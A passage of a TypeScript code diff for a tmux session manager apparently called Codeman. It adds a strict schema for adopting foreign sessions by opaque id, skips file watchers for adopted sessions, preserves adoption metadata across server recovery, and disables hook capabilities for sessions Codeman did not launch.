* ⚠️ The body carries ONLY the opaque candidate id from `GET /api/mux/foreign`.
* The socket path, session name and host are re-resolved server-side by re-running
* discovery, so a browser can never hand the launch chain a path or a session name
* to interpolate. That is the same discipline that keeps the docker-adopt and
* remote-attach paths free of caller-supplied command fragments.
*/
export const AdoptForeignSessionSchema = z
.object({
id: z.string().min(1).max(64),
/** Optional tab name; defaults to the foreign session's own name. */
name: z.string().max(128).optional(),
/** Include docker locations in the re-resolve (must match the listing call). */
docker: z.boolean().optional(),
/** Include remote locations in the re-resolve. */
remote: z.boolean().optional(),
parentSessionId: z.string().max(64).optional(),
})
.strict();
+18 -3
View File
@@ -1821,13 +1821,20 @@ export class WebServer extends EventEmitter {
this.runSummaryTrackers.set(session.id, summaryTracker);
summaryTracker.recordSessionStarted(session.mode, session.workingDir);
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for external CLIs)
if (!isExternalCliMode(session.mode)) {
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for external CLIs).
// ⚠️ Also skipped for an ADOPTED session, and for two reasons: Ralph is refused
// for one anyway, and its `workingDir` is the FOREIGN pane's cwd — a path that
// need not exist on this host at all. Watching it logged a caught ENOENT on
// every in-container adoption (`watch '/workspace/pythonserver'`), which is
// noise pointing at a real category error rather than a real failure.
if (!isExternalCliMode(session.mode) && !session.isAdopted) {
session.ralphTracker.setWorkingDir(session.workingDir);
}
// Start watching for new images in this session's working directory (if enabled globally and per-session)
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled) {
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.isAdopted) {
// Same reason as the Ralph watcher above: an adopted session's workingDir is
// an observation about ANOTHER host's (or container's) filesystem.
imageWatcher.watchSession(session.id, session.workingDir);
}
@@ -3524,6 +3531,14 @@ export class WebServer extends EventEmitter {
// MuxSession.docker; state.json carries SessionState.docker), so recovery
// rebuilds the `docker exec` launch instead of a broken local command.
docker: muxSession.docker ?? savedState?.docker,
// Adoption metadata round-trips for the same reason remote/docker do,
// and one more: it is the ONLY thing that marks this session as
// wrapping a process Codeman never launched. Dropping it on recovery
// silently re-enabled respawn, Ralph and hook-backed waits against
// someone else's live tmux session after every server restart —
// measured, not hypothetical. The mux record is preferred because it
// is what `killSession`'s detach-not-kill guard already reads.
adopt: muxSession.adopt ?? savedState?.adopt,
owner: recoveredOwner,
// Tab lineage survives a restart. It is only decoration, so a parent
// that did NOT come back is harmless: the frontend draws an edge only
+17
View File
@@ -190,6 +190,18 @@ export interface HookCapabilityOptions {
* timeout on every turn.
*/
deepSeekBridgeUnreachable?: boolean;
/**
* True when the session is a WRAPPER around a tmux session a human started
* outside Codeman.
*
* This one overrides the mode entirely, and it has to: an adopted session can
* be `mode: 'claude'` and still have no hooks, because hooks are installed into
* a WORKSPACE at session-create time (`applyWorkspaceHooks`) and we never
* created this one. Answering from the mode there would promise `stop` and
* `blocked` for a process that can never post either — the exact
* infinite-wait-dressed-as-a-timeout this predicate exists to prevent.
*/
adopted?: boolean;
}
/**
@@ -224,6 +236,9 @@ export interface HookCapabilityOptions {
* function only about hook SIGNALS.
*/
export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean {
// Checked BEFORE the mode: adoption is about who launched the process, and no
// mode can vouch for a workspace Codeman never touched. See `adopted` above.
if (options.adopted) return false;
// A TRI-state capability, not a boolean, because the three answers are genuinely
// different questions — see CliCapabilities.hooks.
switch (getCli(mode)?.capabilities.hooks) {
@@ -259,10 +274,12 @@ export function sessionHookOptions(session: {
deepSeekStatusReporting?: boolean;
docker?: unknown;
remote?: unknown;
adopt?: unknown;
}): HookCapabilityOptions {
return {
deepSeekStatusReporting: session.deepSeekStatusReporting,
deepSeekBridgeUnreachable: Boolean(session.docker || session.remote),
adopted: Boolean(session.adopt),
};
}